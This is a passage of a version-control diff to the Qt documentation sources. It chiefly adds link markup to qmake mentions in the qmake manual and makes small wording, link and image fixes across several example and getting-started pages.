\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 81
@@ -3769,21 +3793,21 @@
in the other members of the object are performed.
If you append a built-in install set to the \c INSTALLS variable and do
- not specify \c files or \c extra members, \c qmake will decide what needs to
+ not specify \c files or \c extra members, \l {qmake}{ \c qmake}will decide what needs to
be copied for you. Currently, the only supported built-in install set is
\c target:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 82
- In the above lines, \c qmake knows what needs to be copied, and will handle
+ In the above lines, \l {qmake}{ \c qmake}knows what needs to be copied, and will handle
the installation process automatically.
\target cache
\section1 Cache File
- The cache file is a special file \c qmake reads to find settings not specified
+ The cache file is a special file \l {qmake}{ \c qmake}reads to find settings not specified
in the \c qmake.conf file, project files, or at the command line. If
- \c -nocache is not specified when \c qmake is run, it will try to find a file
+ \c -nocache is not specified when \l {qmake}{ \c qmake}is run, it will try to find a file
called \c{.qmake.cache} in parent directories of the current directory. If
it fails to find this file, it will silently ignore this step of processing.
@@ -3793,7 +3817,7 @@
\target LibDepend
\section1 Library Dependencies
- Often when linking against a library, \c qmake relies on the underlying
+ Often when linking against a library, \l {qmake}{ \c qmake}relies on the underlying
platform to know what other libraries this library links against, and
lets the platform pull them in. In many cases, however, this is not
sufficent. For example, when statically linking a library, no other
@@ -3805,19 +3829,19 @@
this behavior must be explicitly enabled by following two steps.
The first step is to enable dependency tracking in the library itself.
- To do this you must tell \c qmake to save information about the library:
+ To do this you must tell \l {qmake}{ \c qmake}to save information about the library:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 83
This is only relevant to the \c lib template, and will be ignored for
- all others. When this option is enabled, \c qmake will create a file
+ all others. When this option is enabled, \l {qmake}{ \c qmake}will create a file
ending in .prl which will save some meta-information about the
library. This metafile is just like an ordinary project file, but only
contains internal variable declarations. You are free to view this file
- and, if it is deleted, \c qmake will know to recreate it when necessary,
+ and, if it is deleted, \l {qmake}{ \c qmake}will know to recreate it when necessary,
either when the project file is later read, or if a dependent library
(described below) has changed. When installing this library, by
- specifying it as a target in an \c INSTALLS declaration, \c qmake will
+ specifying it as a target in an \c INSTALLS declaration, \l {qmake}{ \c qmake}will
automatically copy the .prl file to the installation path.
The second step in this process is to enable reading of this meta
@@ -3825,11 +3849,11 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 84
- When this is enabled, \c qmake will process all libraries linked to
- by the application and find their meta-information. \c qmake will use
+ When this is enabled, \l {qmake}{ \c qmake}will process all libraries linked to
+ by the application and find their meta-information. \l {qmake}{ \c qmake}will use
this to determine the relevant linking information, specifically adding
values to the application project file's list of \c DEFINES as well as
- \c LIBS. Once \c qmake has processed this file, it will then look through
+ \c LIBS. Once \l {qmake}{ \c qmake}has processed this file, it will then look through
the newly introduced libraries in the \c LIBS variable, and find their
dependent .prl files, continuing until all libraries have been resolved.
At this point, the Makefile is created as usual, and the libraries are
@@ -3843,9 +3867,9 @@
\target Extensions
\section1 File Extensions
- Under normal circumstances \c qmake will try to use appropriate file extensions
+ Under normal circumstances \l {qmake}{ \c qmake}will try to use appropriate file extensions
for your platform. However, it is sometimes necessary to override the default
- choices for each platform and explicitly define file extensions for \c qmake to use.
+ choices for each platform and explicitly define file extensions for \l {qmake}{ \c qmake}to use.
This is achieved by redefining certain built-in variables; for example the extension
used for \l moc files can be redefined with the following assignment in a project
file:
@@ -3871,19 +3895,19 @@
accept a list of values:
\list
- \o QMAKE_EXT_CPP - Causes \c qmake to interpret all files with these suffixes as
+ \o QMAKE_EXT_CPP - Causes \l {qmake}{ \c qmake}to interpret all files with these suffixes as
C++ source files.
- \o QMAKE_EXT_H - Causes \c qmake to interpret all files with these suffixes as
+ \o QMAKE_EXT_H - Causes \l {qmake}{ \c qmake}to interpret all files with these suffixes as
C and C++ header files.
\endlist
\target Customizing
\section1 Customizing Makefile Output
- \c qmake tries to do everything expected of a cross-platform build tool.
+ \l {qmake}{ \c qmake}tries to do everything expected of a cross-platform build tool.
This is often less than ideal when you really need to run special
platform-dependent commands. This can be achieved with specific instructions
- to the different \c qmake backends.
+ to the different \l {qmake}{ \c qmake}backends.
Customization of the Makefile output is performed through an object-style
API as found in other places in \c qmake. Objects are defined automatically
@@ -3891,14 +3915,14 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 86
- The definitions above define a \c qmake target called \c mytarget, containing
+ The definitions above define a \l {qmake}{ \c qmake}target called \c mytarget, containing
a Makefile target called \c{.buildfile} which in turn is generated with
the \c touch command. Finally, the \c{.depends} member specifies that
\c mytarget depends on \c mytarget2, another target that is defined afterwards.
\c mytarget2 is a dummy target; it is only defined to echo some text to
the console.
- The final step is to instruct \c qmake that this object is a target to be built:
+ The final step is to instruct \l {qmake}{ \c qmake}that this object is a target to be built:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 87
@@ -3961,7 +3985,7 @@
\c NEW_HEADERS variable (from the \c input member), and the result is written
to the file defined by the \c output member; this file is added to the
other source files in the project.
- Additionally, \c qmake will execute \c depend_command to generate dependency
+ Additionally, \l {qmake}{ \c qmake}will execute \c depend_command to generate dependency
information, and place this information in the project as well.
These commands can easily be placed into a cache file, allowing subsequent
@@ -4085,9 +4109,9 @@
\previouspage qmake Platform Notes
\nextpage Using Precompiled Headers
- Many \c qmake project files simply describe the sources and header files used
+ Many \l {qmake}{ \c qmake}project files simply describe the sources and header files used
by the project, using a list of \c{name = value} and \c{name += value}
- definitions. \c qmake also provides other operators, functions, and scopes
+ definitions. \l {qmake}{ \c qmake}also provides other operators, functions, and scopes
that can be used to process the information supplied in variable declarations.
These advanced features allow Makefiles to be generated for multiple platforms
from a single project file.
@@ -4099,7 +4123,7 @@
In many project files, the assignment (\c{=}) and append (\c{+=}) operators can
be used to include all the information about a project. The typical pattern of
use is to assign a list of values to a variable, and append more values
- depending on the result of various tests. Since \c qmake defines certain
+ depending on the result of various tests. Since \l {qmake}{ \c qmake}defines certain
variables using default values, it is sometimes necessary to use the removal
(\c{-=}) operator to filter out values that are not required. The following
operators can be used to manipulate the contents of variables.
@@ -4175,8 +4199,8 @@
\snippet doc/src/snippets/qmake/scopes.pro 0
The above code will add the \c paintwidget_win.cpp file to the sources listed
- in the generated Makefile if \c qmake is used on a Windows platform.
- If \c qmake is used on a platform other than Windows, the define will be
+ in the generated Makefile if \l {qmake}{ \c qmake}is used on a Windows platform.
+ If \l {qmake}{ \c qmake}is used on a platform other than Windows, the define will be
ignored.
The conditions used in a given scope can also be negated to provide an
@@ -4271,9 +4295,9 @@
\section1 Variables
Many of the variables used in project files are special variables that
- \c qmake uses when generating Makefiles, such as \c DEFINES, \c SOURCES,
+ \l {qmake}{ \c qmake}uses when generating Makefiles, such as \c DEFINES, \c SOURCES,
and \c HEADERS. It is possible for you to create variables for your own
- use; \c qmake creates new variables with a given name when it encounters
+ use; \l {qmake}{ \c qmake}creates new variables with a given name when it encounters
an assignment to that name. For example:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 97
@@ -4300,10 +4324,10 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 100
Variables can be used to store the contents of environment variables.
- These can be evaluated at the time that \c qmake is run, or included
+ These can be evaluated at the time that \l {qmake}{ \c qmake}is run, or included
in the generated Makefile for evaluation when the project is built.
- To obtain the contents of an environment value when \c qmake is run,
+ To obtain the contents of an environment value when \l {qmake}{ \c qmake}is run,
use the \c $$(...) operator:
\snippet doc/src/snippets/qmake/environment.pro 0
@@ -4337,7 +4361,7 @@
\target VariableProcessingFunctions
\section1 Variable Processing Functions
- \c qmake provides a selection of built-in functions to allow the
+ \l {qmake}{ \c qmake}provides a selection of built-in functions to allow the
contents of variables to be processed. These functions process the
arguments supplied to them and return a value, or list of values, as
a result. In order to assign a result to a variable, it is necessary
@@ -4365,7 +4389,7 @@
\target ConditionalFunctions
\section1 Conditional Functions
- \c qmake provides built-in functions that can be used as conditions
+ \l {qmake}{ \c qmake}provides built-in functions that can be used as conditions
when writing scopes. These functions do not return a value, but
instead indicate "success" or "failure":
@@ -4382,12 +4406,12 @@
\section1 Adding New Configuration Features
- \c qmake lets you create your own \e features that can be included in
+ \l {qmake}{ \c qmake}lets you create your own \e features that can be included in
project files by adding their names to the list of values specified by
the \c CONFIG variable. Features are collections of custom functions and
definitions in \c{.prf} files that can reside in one of many standard
directories. The locations of these directories are defined in a number
- of places, and \c qmake checks each of them in the following order when
+ of places, and \l {qmake}{ \c qmake}checks each of them in the following order when
it looks for \c{.prf} files:
\list 1
@@ -4424,7 +4448,7 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 103
- With this addition to the \c CONFIG variable, \c qmake will search the
+ With this addition to the \c CONFIG variable, \l {qmake}{ \c qmake}will search the
locations listed above for the \c myfeatures.prf file after it has
finished parsing your project file. On Unix systems, it will look for
the following file:
@@ -4467,7 +4491,7 @@
specified file. Each subsequent compilation is faster because the
stable code does not need to be recompiled.
- \c qmake supports the use of precompiled headers (PCH) on some
+ \l {qmake}{ \c qmake}supports the use of precompiled headers (PCH) on some
platforms and build environments, including:
\list
\o Windows
@@ -4513,9 +4537,9 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 105
- \c qmake will handle the rest, to ensure the creation and use of the
+ \l {qmake}{ \c qmake}will handle the rest, to ensure the creation and use of the
precompiled header file. You do not need to include the precompiled
- header file in \c HEADERS, as \c qmake will do this if the configuration
+ header file in \c HEADERS, as \l {qmake}{ \c qmake}will do this if the configuration
supports PCH.
All platforms that support precompiled headers have the configuration
@@ -4581,7 +4605,7 @@
\nextpage qmake Common Projects
This tutorial teaches you how to use \c qmake. We recommend that
- you read the \c qmake user guide after completing this tutorial.
+ you read the \l {qmake}{ \c qmake}user guide after completing this tutorial.
\section1 Starting off Simple
@@ -4599,7 +4623,7 @@
the application is that it's written in Qt. First, using your favorite
plain text editor, create a file called \c hello.pro in
\c{examples/qmake/tutorial}. The first thing you need to do is add the
- lines that tell \c qmake about the source and header files that are part
+ lines that tell \l {qmake}{ \c qmake}about the source and header files that are part
of your development project.
We'll add the source files to the project file first. To do this you
@@ -4639,7 +4663,7 @@
The final step is to set the \l{qmake Variable Reference#CONFIG}{CONFIG}
variable. Since this is a Qt application, we need to put \c qt on the
- \c CONFIG line so that \c qmake will add the relevant libraries to be
+ \c CONFIG line so that \l {qmake}{ \c qmake}will add the relevant libraries to be
linked against and ensure that build lines for \c moc and \c uic are
included in the generated Makefile.
@@ -4647,14 +4671,14 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 113
- You can now use \c qmake to generate a Makefile for your application.
+ You can now use \l {qmake}{ \c qmake}to generate a Makefile for your application.
On the command line, in your project's directory, type the following:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 114
Then type \c make or \c nmake depending on the compiler you use.
- For Visual Studio users, \c qmake can also generate \c .dsp or
+ For Visual Studio users, \l {qmake}{ \c qmake}can also generate \c .dsp or
\c .vcproj files, for example:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 115
@@ -4671,7 +4695,7 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 116
- Use \c qmake as before to generate a Makefile and you will be able to
+ Use \l {qmake}{ \c qmake}as before to generate a Makefile and you will be able to
obtain useful information about your application when running it in
a debugging environment.
@@ -4684,15 +4708,15 @@
hellounix.cpp. We can't just add these to the \c SOURCES
variable since this will put both files in the Makefile. So, what we
need to do here is to use a scope which will be processed depending on
- which platform \c qmake is run on.
+ which platform \l {qmake}{ \c qmake}is run on.
A simple scope that will add in the platform-dependent file for
Windows looks like this:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 117
- So if \c qmake is run on Windows, it will add \c hellowin.cpp to the
- list of source files. If \c qmake is run on any other platform, it
+ So if \l {qmake}{ \c qmake}is run on Windows, it will add \c hellowin.cpp to the
+ list of source files. If \l {qmake}{ \c qmake}is run on any other platform, it
will simply ignore it. Now all that is left to be done is to create a
scope for the Unix-specific file.
@@ -4701,13 +4725,13 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 118
- Use \c qmake as before to generate a Makefile.
+ Use \l {qmake}{ \c qmake}as before to generate a Makefile.
\section1 Stopping qmake If a File Doesn't Exist
You may not want to create a Makefile if a certain file doesn't exist.
We can check if a file exists by using the exists() function. We can
- stop \c qmake from processing by using the error() function. This
+ stop \l {qmake}{ \c qmake}from processing by using the error() function. This
works in the same way as scopes do. Simply replace the scope condition
with the function. A check for a \c main.cpp file looks like this:
@@ -4719,8 +4743,8 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 120
- Use \c qmake as before to generate a makefile. If you rename \c
- main.cpp temporarily, you will see the message and \c qmake will stop
+ Use \l {qmake}{ \c qmake}as before to generate a makefile. If you rename \c
+ main.cpp temporarily, you will see the message and \l {qmake}{ \c qmake}will stop
processing.
\section1 Checking for More than One Condition
@@ -4754,7 +4778,7 @@
\previouspage qmake Tutorial
\nextpage Using qmake
- This chapter describes how to set up \c qmake project files for three
+ This chapter describes how to set up \l {qmake}{ \c qmake}project files for three
common project types that are based on Qt. Although all kinds of
projects use many of the same variables, each of them use project-specific
variables to customize output files.
@@ -4773,7 +4797,7 @@
\section2 The app Template
- The \c app template tells \c qmake to generate a Makefile that will build
+ The \c app template tells \l {qmake}{ \c qmake}to generate a Makefile that will build
an application. With this template, the type of application can be specified
by adding one of the following options to the \c CONFIG variable definition:
@@ -4784,7 +4808,7 @@
application.
\endtable
- When using this template the following \c qmake system variables are recognized.
+ When using this template the following \l {qmake}{ \c qmake}system variables are recognized.
You should use these in your .pro file to specify information about your
application.
@@ -4810,7 +4834,7 @@
You only need to use the system variables that you have values for,
for instance, if you do not have any extra INCLUDEPATHs then you do not
- need to specify any, \c qmake will add in the default ones needed.
+ need to specify any, \l {qmake}{ \c qmake}will add in the default ones needed.
For instance, an example project file might look like this:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 123
@@ -4826,7 +4850,7 @@
\section2 The lib Template
- The \c lib template tells \c qmake to generate a Makefile that will
+ The \c lib template tells \l {qmake}{ \c qmake}to generate a Makefile that will
build a library. When using this template, in addition to the system variables
mentioned above for the \c app template the \c VERSION variable is
supported. You should use these in your .pro file to specify
@@ -4857,7 +4881,7 @@
\section1 Building a Plugin
Plugins are built using the \c lib template, as described in the previous
- section. This tells \c qmake to generate a Makefile for the project that will
+ section. This tells \l {qmake}{ \c qmake}to generate a Makefile for the project that will
build a plugin in a suitable form for each platform, usually in the form of a
library. As with ordinary libraries, the \c VERSION variable is used to specify
information about the plugin.
@@ -4895,7 +4919,7 @@
ensure that the resulting targets have different names. Providing different
names for targets ensures that one will not overwrite the other.
- When \c qmake processes the project file, it will generate a Makefile rule
+ When \l {qmake}{ \c qmake}processes the project file, it will generate a Makefile rule
to allow the project to be built in both modes. This can be invoked in the
following way:
diff --git a/doc/src/development/qtestlib.qdoc b/doc/src/development/qtestlib.qdoc
index 34429ae..8924bdb 100644
--- a/doc/src/development/qtestlib.qdoc
+++ b/doc/src/development/qtestlib.qdoc
@@ -130,7 +130,7 @@
\snippet doc/src/snippets/code/doc_src_qtestlib.qdoc 1
- If you are using other buildtools, make sure that you add the location
+ If you are using other build tools, make sure that you add the location
of the QTestLib header files to your include path (usually \c{include/QtTest}
under your Qt installation directory). If you are using a release build
of Qt, link your test to the \c QtTest library. For debug builds, use
diff --git a/doc/src/examples/audiodevices.qdoc b/doc/src/examples/audiodevices.qdoc
index b812968..fd56e38 100644
--- a/doc/src/examples/audiodevices.qdoc
+++ b/doc/src/examples/audiodevices.qdoc
@@ -32,6 +32,8 @@
The Audio Devices example demonstrates the basic use of QAudioDeviceInfo class
provided with Qt.
+ \image audiodevices-example.png
+
Qt provides the QAudioDeviceInfo class to enable audio querying within
a standard application user interface.
diff --git a/doc/src/examples/audioinput.qdoc b/doc/src/examples/audioinput.qdoc
index 7ca01a5..44b480f 100644
--- a/doc/src/examples/audioinput.qdoc
+++ b/doc/src/examples/audioinput.qdoc
@@ -32,6 +32,8 @@
The Audio Input example demonstrates the basic use of QAudioInput class
provided with Qt.
+ \image audioinput-example.png
+
Qt provides the QAudioInput class to enable audio functionality within
a standard application user interface.
diff --git a/doc/src/examples/audiooutput.qdoc b/doc/src/examples/audiooutput.qdoc
index 358c404..1703883 100644
--- a/doc/src/examples/audiooutput.qdoc
+++ b/doc/src/examples/audiooutput.qdoc
@@ -32,6 +32,8 @@
The Audio Output example demonstrates the basic use of the QAudioOutput class
provided with Qt.
+ \image audiooutput-example.png
+
This example provides a tone generator to supply continuous audio playback.
The first button allows pause and resume of the playback.
The second button allows toggling between push and pull modes of operation.
diff --git a/doc/src/examples/basicgraphicslayouts.qdoc b/doc/src/examples/basicgraphicslayouts.qdoc
index 11b99f3..0110e29 100644
--- a/doc/src/examples/basicgraphicslayouts.qdoc
+++ b/doc/src/examples/basicgraphicslayouts.qdoc
@@ -133,19 +133,19 @@
\snippet examples/graphicsview/basicgraphicslayouts/layoutitem.cpp 2
- The reimplementation of {QGraphicsItem::boundingRect()}{boundingRect()}
+ The reimplementation of \l{QGraphicsItem::}{boundingRect()}
will set the top left corner at (0,0), and the size of it will be
the size of the layout items
- {QGraphicsLayoutItem::geometry()}{geometry()}. This is the area that
+ \l{QGraphicsLayoutItem::}{geometry()}. This is the area that
we paint within.
\snippet examples/graphicsview/basicgraphicslayouts/layoutitem.cpp 3
- The reimplementation of {QGraphicsLayoutItem::setGeometry()}{setGeometry()}
+ The reimplementation of \l{QGraphicsLayoutItem::setGeometry()}{setGeometry()}
simply calls its baseclass implementation. However, since this will change
the boundingRect we must also call
- {QGraphicsItem::prepareGeometryChange()}{prepareGeometryChange()}.
+ \l{QGraphicsItem::prepareGeometryChange()}{prepareGeometryChange()}.
Finally, we move the item according to \c geom.topLeft().
\snippet examples/graphicsview/basicgraphicslayouts/layoutitem.cpp 4
diff --git a/doc/src/examples/combowidgetmapper.qdoc b/doc/src/examples/combowidgetmapper.qdoc
index 1a9bf5a..897d135 100644
--- a/doc/src/examples/combowidgetmapper.qdoc
+++ b/doc/src/examples/combowidgetmapper.qdoc
@@ -32,7 +32,7 @@
The Delegate Widget Mapper example shows how to use a custom delegate to
map information from a model to specific widgets on a form.
- \image combo-widget-mapper.png
+ \image combowidgetmapper-example.png
In the \l{Simple Widget Mapper Example}, we showed the basic use of a
widget mapper to relate data exposed by a model to simple input widgets
diff --git a/doc/src/examples/concentriccircles.qdoc b/doc/src/examples/concentriccircles.qdoc
index dc17871..315469b 100644
--- a/doc/src/examples/concentriccircles.qdoc
+++ b/doc/src/examples/concentriccircles.qdoc
@@ -192,7 +192,7 @@
\snippet examples/painting/concentriccircles/window.h 0
- We declare the various components of the main window, i.e the text
+ We declare the various components of the main window, i.e., the text
labels and a double array that will hold reference to the four \c
{CircleWidget}s. In addition we declare the private \c
createLabel() function to simplify the constructor.
diff --git a/doc/src/examples/drilldown.qdoc b/doc/src/examples/drilldown.qdoc
index bc45db3..8739270 100644
--- a/doc/src/examples/drilldown.qdoc
+++ b/doc/src/examples/drilldown.qdoc
@@ -444,7 +444,7 @@
Finally, we store the location ID that this particular record is
associated with as well as a z-value. In the \l {Graphics View
Framework}, an item's z-value determines its position in the item
- stack. An item of high Z-value will be drawn on top of an item
+ stack. An item of high z-value will be drawn on top of an item
with a lower z-value if they share the same parent item. We also
provide an \c updateItemPosition() function to refresh the view
when required.
diff --git a/doc/src/examples/elasticnodes.qdoc b/doc/src/examples/elasticnodes.qdoc
index d6676e8..bba6d90 100644
--- a/doc/src/examples/elasticnodes.qdoc
+++ b/doc/src/examples/elasticnodes.qdoc
@@ -77,12 +77,12 @@
function is called to calculate the forces that push and pull on this node
and its neighbors.
- The \c Node class also reimplements
- \l{QGraphicsItem::itemChange()}{itemChange()} to react to state changes (in
- this case, position changes), and
- \l{QGraphicsItem::mousePressEvent()}{mousePressEvent()} and
- \l{QGraphicsItem::mouseReleaseEvent()}{mouseReleaseEvent()} to update the
- item's visual appearance.
+ The \c Node class also reimplements
+ \l{QGraphicsItem::itemChange()}{itemChange()} to react to state changes (in
+ this case, position changes), and
+ \l{QGraphicsItem::mousePressEvent()}{mousePressEvent()} and
+ \l{QGraphicsItem::mouseReleaseEvent()}{mouseReleaseEvent()} to update the
+ item's visual appearance.
We will start reviewing the \c Node implementation by looking at its
constructor:
@@ -242,7 +242,7 @@
The \c adjust() function repositions the edge, and the item also implements
\l{QGraphicsItem::boundingRect()}{boundingRect()} and
- \{QGraphicsItem::paint()}{paint()}.
+ \l{QGraphicsItem::paint()}{paint()}.
We will now review its implementation.
diff --git a/doc/src/examples/fancybrowser.qdoc b/doc/src/examples/fancybrowser.qdoc
index 4121904..b46903d 100644
--- a/doc/src/examples/fancybrowser.qdoc
+++ b/doc/src/examples/fancybrowser.qdoc
@@ -118,7 +118,7 @@
using CSS.
\snippet examples/webkit/fancybrowser/mainwindow.cpp 8
-
+
The \c rotateImages() function rotates the images on the current
web page. Webkit supports CSS transforms and this JavaScript code
looks up all \e {img} elements and rotates the images 180 degrees
@@ -127,7 +127,7 @@
\snippet examples/webkit/fancybrowser/mainwindow.cpp 9
The remaining four methods remove different elements from the current web
- page. \c removeGifImages() removes all Gif images on the page by looking up
+ page. \c removeGifImages() removes all GIF images on the page by looking up
the \e {src} attribute of all the elements on the web page. Any element with
a \e {gif} file as its source is removed. \c removeInlineFrames() removes all
\e {iframe} or inline elements. \c removeObjectElements() removes all
diff --git a/doc/src/examples/qml-examples.qdoc b/doc/src/examples/qml-examples.qdoc
index 46af110..bbea19b 100644
--- a/doc/src/examples/qml-examples.qdoc
+++ b/doc/src/examples/qml-examples.qdoc
@@ -68,7 +68,7 @@
\title Animation: States Example
\example declarative/animation/states
- These examples show how to use \l{States}{states} and \l{Transitions}{transitions}.
+ These examples show how to use \l{State}{states} and \l{Transition}{transitions}.
The \c states.qml example shows how an item can change between states, and \c transitions.qml
shows how these state changes can be animated.
@@ -270,16 +270,26 @@
*/
/*!
- \title Positioners Example
- \example declarative/positioners
+ \title Positioners: Adding and Removing Items Example
+ \example declarative/positioners/addandremove
- This example shows how to use positioner elements such as \l Row, \l Column,
- \l Grid and \l Flow.
+ This example shows how to use the positioner elements such as \l Row, \l Column,
+ \l Grid and \l Flow, in particular how to add and remove items with appropriate transitions.
\image qml-positioners-example.png
*/
/*!
+ \title Positioners: Layout Direction Example
+ \example declarative/positioners/layoutdirection
+
+ This example shows how to control the horizontal layout direction of
+ \l Row, \l Grid and \l Flow positioners.
+
+ \image qml-positioners-layoutdirection-example.png
+*/
+
+/*!
\title Key Interaction: Focus Example
\example declarative/keyinteraction/focus
@@ -664,7 +674,7 @@
This example shows how to create a tab widget. It also demonstrates how
\l {Property aliases}{property aliases} and
- \l {Default Properties}{default properties} can be used to collect and
+ \l {Introduction to the QML Language#Default Properties}{default properties} can be used to collect and
assemble the child items declared within an \l Item.
\image qml-tabwidget-example.png
diff --git a/doc/src/examples/qml-folderlistmodel.qdoc b/doc/src/examples/qml-folderlistmodel.qdoc
index c9d248e..0a01ce0 100644
--- a/doc/src/examples/qml-folderlistmodel.qdoc
+++ b/doc/src/examples/qml-folderlistmodel.qdoc
@@ -41,10 +41,15 @@ making the model available to QML.
\section1 Usage from QML
-The type we are creating can be used from QML like this:
+The FolderListModel can be used from QML like this:
\snippet doc/src/snippets/declarative/folderlistmodel.qml 0
+This displays a list of all subfolders and QML files in the current folder.
+
+The FolderListModel \c folder property can be set to change the folder that
+is currently displayed.
+
\section1 Defining the Model
We are subclassing QAbstractListModel which will allow us to give data to QML and
diff --git a/doc/src/examples/svgalib.qdoc b/doc/src/examples/svgalib.qdoc
index b69bead..e13cd7f 100644
--- a/doc/src/examples/svgalib.qdoc
+++ b/doc/src/examples/svgalib.qdoc
@@ -322,9 +322,8 @@
\snippet examples/qws/svgalib/svgalibsurface.h 0
We can implement most of the pure virtual functions inherited from
- QWSWindowSurface as trivial inline functions, except the
- \l {QWindowSurface::}{scroll()} function that actually makes use
- of some hardware acceleration:
+ QWSWindowSurface as trivial inline functions, except the scroll()
+ function that actually makes use of some hardware acceleration:
\snippet examples/qws/svgalib/svgalibsurface.cpp 0
diff --git a/doc/src/examples/textfinder.qdoc b/doc/src/examples/textfinder.qdoc
index 31fe785..e92bb98 100644
--- a/doc/src/examples/textfinder.qdoc
+++ b/doc/src/examples/textfinder.qdoc
@@ -80,7 +80,7 @@
\snippet examples/uitools/textfinder/textfinder.h 0
- The slot \c{on_find_Button_clicked()} is a slot named according to the
+ The slot \c{on_findButton_clicked()} is a slot named according to the
\l{Using a Designer UI File in Your Application#Automatic Connections}
{Automatic Connection} naming convention required
by \c uic.
diff --git a/doc/src/external-resources.qdoc b/doc/src/external-resources.qdoc
index 4003e56..7639324 100644
--- a/doc/src/external-resources.qdoc
+++ b/doc/src/external-resources.qdoc
@@ -453,3 +453,8 @@
\externalpage http://www.libusb.org/
\title libusb
*/
+
+/*!
+ \externalpage http://publicsuffix.org/
+ \title publicsuffix.org
+*/
diff --git a/doc/src/frameworks-technologies/plugins-howto.qdoc b/doc/src/frameworks-technologies/plugins-howto.qdoc
index 3dc2996..b332d57 100644
--- a/doc/src/frameworks-technologies/plugins-howto.qdoc
+++ b/doc/src/frameworks-technologies/plugins-howto.qdoc
@@ -48,7 +48,7 @@
\ingroup frameworks-technologies
\ingroup qt-basic-concepts
-
+
\keyword QT_DEBUG_PLUGINS
\keyword QT_NO_PLUGIN_CHECK
@@ -87,7 +87,7 @@
directory.
\table
- \header \o Base Class \o Directory Name \o Key Case Sensitivity
+ \header \o Base Class \o Directory Name \o Key Case Sensitivity
\row \o QAccessibleBridgePlugin \o \c accessiblebridge \o Case Sensitive
\row \o QAccessiblePlugin \o \c accessible \o Case Sensitive
\row \o QDecorationPlugin \o \c decorations \o Case Insensitive
@@ -309,5 +309,10 @@
to make sure that the \c{QT_STATICPLUGIN} preprocessor macro is
defined.
+ \section1 Deploying and Debugging Plugins
+
+ The \l{Deploying Plugins} document covers the process of deploying
+ plugins with applications and debugging them when problems arise.
+
\sa QPluginLoader, QLibrary, {Plug & Paint Example}
*/
diff --git a/doc/src/frameworks-technologies/richtext.qdoc b/doc/src/frameworks-technologies/richtext.qdoc
index 7a5a6a6..089f84d 100644
--- a/doc/src/frameworks-technologies/richtext.qdoc
+++ b/doc/src/frameworks-technologies/richtext.qdoc
@@ -37,6 +37,7 @@
\ingroup frameworks-technologies
\ingroup qt-basic-concepts
+ \ingroup best-practices
\nextpage Rich Text Document Structure
diff --git a/doc/src/getting-started/examples.qdoc b/doc/src/getting-started/examples.qdoc
index a68b211..ad97836 100644
--- a/doc/src/getting-started/examples.qdoc
+++ b/doc/src/getting-started/examples.qdoc
@@ -490,10 +490,12 @@
\image ipc-examples.png
\list
- \o \l{ipc/localfortuneclient}{Local Fortune Client}\raisedaster
- \o \l{ipc/localfortuneserver}{Local Fortune Server}\raisedaster
+ \o \l{ipc/localfortuneclient}{Local Fortune Client}
+ \o \l{ipc/localfortuneserver}{Local Fortune Server}
\o \l{ipc/sharedmemory}{Shared Memory}\raisedaster
\endlist
+
+ Examples marked with an asterisk (*) are fully documented.
*/
/*!
diff --git a/doc/src/getting-started/gettingstarted.qdoc b/doc/src/getting-started/gettingstarted.qdoc
index 2b8078e..502fb65 100644
--- a/doc/src/getting-started/gettingstarted.qdoc
+++ b/doc/src/getting-started/gettingstarted.qdoc
@@ -33,7 +33,7 @@
\section1
Creating applications using Qt and QML is easy enough once you get started.
To get you started we have created two tutorials creating two similar applications,
- but using diiferent approaches. One tutorial implements the user interface using
+ but using different approaches. One tutorial implements the user interface using
QML, while the other implements the whole application using traditional Qt.
Please click on the links below to start the ride.
diff --git a/doc/src/getting-started/gettingstartedqml.qdoc b/doc/src/getting-started/gettingstartedqml.qdoc
index 13f1192..ccb9771 100644
--- a/doc/src/getting-started/gettingstartedqml.qdoc
+++ b/doc/src/getting-started/gettingstartedqml.qdoc
@@ -133,7 +133,7 @@
the interactive area where mouse movements are detected. For our button, we anchor the
whole MouseArea to its parent, which is \c simplebutton. The \c anchors.fill syntax is
one way of accessing a specific property called \c fill inside a group of properties
- called \c anchors. QML uses \l {Anchor-based Layout in QML}{anchor based layouts} where
+ called \c anchors. QML uses \l {Anchor-Based Layout in QML}{anchor-based layouts} where
items can anchor to another item, creating robust layouts.
The \c MouseArea has many signal handlers that are called during mouse movements within
diff --git a/doc/src/getting-started/how-to-learn-qt.qdoc b/doc/src/getting-started/how-to-learn-qt.qdoc
index 5c1e5ca..239c8a1 100644
--- a/doc/src/getting-started/how-to-learn-qt.qdoc
+++ b/doc/src/getting-started/how-to-learn-qt.qdoc
@@ -51,9 +51,9 @@
key overviews to deepen your understanding of Qt: The Qt \l{Object
Model} and \l{Signals and Slots}.
- \beginfloatleft
+ \div{float-left}
\inlineimage qtdemo-small.png
- \endfloat
+ \enddiv
\section1 Getting an Overview
diff --git a/doc/src/getting-started/installation.qdoc b/doc/src/getting-started/installation.qdoc
index 4b4dab5..6d0256e 100644
--- a/doc/src/getting-started/installation.qdoc
+++ b/doc/src/getting-started/installation.qdoc
@@ -874,9 +874,10 @@ If the installation fails, please make sure that there is
no previously installed version of Qt on the phone.
Qt requires some dependent packages to be installed on the device,
-they are shipped in the Symbian SDK and can be installed using the
-runonphone tool as well.
-The packages can be found in the EPOCROOT at the following locations;
+which can be installed using the runonphone tool as well. One is
+the \c{sqlite3.sis}, which is included in the Qt distribution, while
+the others are shipped with the Symbian SDK. The required packages
+can be found from the following locations:
\snippet doc/src/snippets/code/doc_src_installation.qdoc 50
@@ -1028,9 +1029,9 @@ We hope you will enjoy using Qt.
Qt from its source code, you will also need to install the development
packages for these libraries for your system.
